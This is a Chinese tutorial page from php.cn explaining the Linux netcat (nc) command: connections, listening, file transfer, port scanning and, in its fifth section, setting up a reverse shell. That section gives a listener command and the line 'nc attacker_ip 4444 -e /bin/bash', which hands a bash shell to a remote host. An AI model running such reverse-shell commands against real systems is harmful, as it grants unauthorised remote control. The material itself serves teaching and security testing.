讲师中心 微信公众号
AI工具推荐 视频效率加速

LINUX的nc(netcat)命令使用指南_功能强大的LINUX网络工具瑞士军刀

轻芳君_2476

轻芳君_2476

发布时间:2026-01-09 18:02:02

|

753人浏览过

|

来源于php中文网

原创

掌握netcat需熟悉其五大功能:1、用“nc -v host port”建立TCP/UDP连接并通信;2、通过“nc -l -p port”监听本地端口接收数据;3、结合重定向实现文件传输,如“nc -l -p 9999 > file”接收,“cat file | nc ip 9999”发送;4、使用“nc -z -v ip port-range”扫描开放端口,支持TCP/UDP;5、执行“nc -l -p 4444”监听并用“nc ip 4444 -e /bin/bash”反弹shell,实现远程控制。

linux的nc(netcat)命令使用指南_功能强大的linux网络工具瑞士军刀

如果您需要在Linux系统中进行网络调试、端口扫描或数据传输,但不确定如何高效使用netcat工具,则可能是由于对nc命令的多种功能缺乏全面了解。以下是掌握该工具使用方法的详细步骤:

本文运行环境:联想ThinkPad X1 Carbon,Ubuntu 24.04

一、基本连接与通信

netcat可用于建立TCP或UDP连接,实现两台主机之间的简单通信。此模式常用于测试服务连通性或手动发送协议请求。

1、使用TCP协议连接远程服务器的指定端口:nc -v example.com 80

2、启用UDP模式连接,适用于测试DNS或NTP服务:nc -u -v example.com 53

3、连接后可手动输入HTTP请求内容,例如输入 GET / HTTP/1.1 并回车两次以获取网页响应。

二、监听本地端口

通过将netcat设置为监听模式,可以接收来自其他主机的连接请求,常用于调试客户端连接或文件接收。

1、启动TCP监听服务,监听9999端口:nc -l -p 9999

2、若需使用UDP协议监听,则添加-u参数:nc -l -u -p 9999

3、当客户端连接并发送数据时,接收端会实时显示传入的内容。

三、文件传输

netcat可在主机间快速传输文件,无需复杂配置,适合临时场景下的数据迁移。

Browser Setup (No-Root Linux)
Browser Setup (No-Root Linux)

在无 root/sudo 权限的环境(云容器、VPS、隔离主机)中安装并配置 OpenClaw 浏览器工具的 headless Chrome。适用场景:...

下载

1、在接收端执行监听命令并将输出重定向到文件:nc -l -p 9999 > received_file.txt

2、在发送端使用管道将文件内容发送至目标主机:cat source_file.txt | nc target_ip 9999

3、传输完成后连接自动关闭,确保文件完整性可通过校验和验证。

四、端口扫描

netcat支持对目标主机的特定端口范围进行扫描,判断哪些端口处于开放状态。

1、执行TCP端口扫描,检测目标主机前100个常用端口:nc -z -v example.com 1-100

2、如需包含UDP扫描,加入-u参数:nc -z -u -v example.com 1-100

3、使用-w设置超时时间以加快扫描速度,例如 nc -z -w 1 example.com 80-443 可限制每个连接等待1秒。

五、创建反向Shell

通过netcat可实现从目标主机反弹shell到控制端,常用于系统管理或安全测试场景。

1、在控制端启动监听,准备接收shell会话:nc -l -p 4444

2、在目标主机上执行命令,将bash shell输出重定向至控制端:nc attacker_ip 4444 -e /bin/bash

3、连接建立后,控制端即可在终端中直接操作目标主机的命令行环境。

热门AI工具

更多
DeepSeek

DeepSeek是一款面向对话、写作、编程和推理场景的AI大模型工具。

豆包大模型

豆包大模型是一款由字节跳动推出的企业级大语言模型服务平台。

墨刀AI
墨刀AI Hot

一款AI图像与设计工具,主要用于产品经理的专属智能体,适合需要提升相关任务效率的用户。

PixTV
PixTV Hot

PixTV是一款面向AIGC内容创作的AI视频生成工具。

Atoms
Atoms Hot

Atoms是一款AI智能体工具,第一支自动构建真实业务的 AI 团队。

咔片AIPPT

一款在线AI演示文稿制作工具,可根据主题和内容需求辅助生成PPT结构与页面,提高演示材料制作效率。

AionClaw
AionClaw Hot

AionClaw是一款面向办公、创作和编程任务的AI桌面智能体。

WorkBuddy

一款AI办公效率工具,主要用于腾讯云推出的AI原生桌面智能体工作台,适合需要提升相关任务效率的用户。

超级简历WonderCV

一款AI办公效率工具,主要用于免费求职简历模版下载制作,应届生职场人必备简历制作神器,适合需要提升相关任务效率的用户。

相关专题

更多
http500解决方法
http500解决方法

http500解决方法有检查服务器日志、检查代码错误、检查服务器配置、检查文件和目录权限、检查资源不足、更新软件版本、重启服务器或寻求专业帮助等。本专题为大家提供相关的文章、下载、课程内容,供大家免费下载体验。

3103

2023.11.09

http请求415错误怎么解决
http请求415错误怎么解决

解决方法:1、检查请求头中的Content-Type;2、检查请求体中的数据格式;3、使用适当的编码格式;4、使用适当的请求方法;5、检查服务器端的支持情况。更多http请求415错误怎么解决的相关内容,可以阅读下面的文章。

834

2023.11.14

HTTP 503错误解决方法
HTTP 503错误解决方法

HTTP 503错误表示服务器暂时无法处理请求。想了解更多http错误代码的相关内容,可以阅读本专题下面的文章。

6246

2024.03.12

http与https有哪些区别
http与https有哪些区别

http与https的区别:1、协议安全性;2、连接方式;3、证书管理;4、连接状态;5、端口号;6、资源消耗;7、兼容性。本专题为大家提供相关的文章、下载、课程内容,供大家免费下载体验。

5310

2024.08.16

Go 语言 HTTP 编程与中间件开发教程合集
Go 语言 HTTP 编程与中间件开发教程合集

全面讲解 Go 语言 HTTP 编程的核心知识,涵盖 net/http 标准库的 Server/Handler/HandlerFunc 体系、DefaultServeMux 路由注册与自定义路由器、Request / ResponseWriter 请求响应处理、中间件(Middleware)链式设计模式与常见中间件(日志/CORS/认证/限流)开发、http.Client 的超时配置与连接池管理、Cookie / Session 处理、

441

2026.05.08

tcp和udp的区别
tcp和udp的区别

TCP和UDP的区别,在连接性、可靠性、速度和效率、数据报大小以及适用场景等方面。本专题为大家提供tcp和udp的区别的相关的文章、下载、课程内容,供大家免费下载体验。

463

2023.07.25

udp是什么协议
udp是什么协议

UDP是OSI参考模型中一种无连接的传输层协议。本专题为大家带来udp是什么协议的相关文章,免费提供给大家。

2511

2023.08.08

tcp和udp有什么区别
tcp和udp有什么区别

tcp和udp的区别有:1、udp是无连接的,tcp是面向连接的;2、udp是不可靠传输,tcp是可靠传输;3、udp是面向报文传输,tcp是面向字节流传输。想了解更多tcp相关的内容,可阅读本专题下面的相关文章。

2949

2024.11.14

LLVM自定义Pass怎么写
LLVM自定义Pass怎么写

本专题聚焦LLVM自定义Pass开发,整理Pass类结构、run()方法、PreservedAnalyses、CMake构建、插件注册、-load-pass-plugin加载和测试用例编写流程。

60

2026.09.30

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
Buffalo框架快速入门指南
Buffalo框架快速入门指南

共0课时 | 0人学习

Valgrind支持平台说明
Valgrind支持平台说明

共0课时 | 0人学习

关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn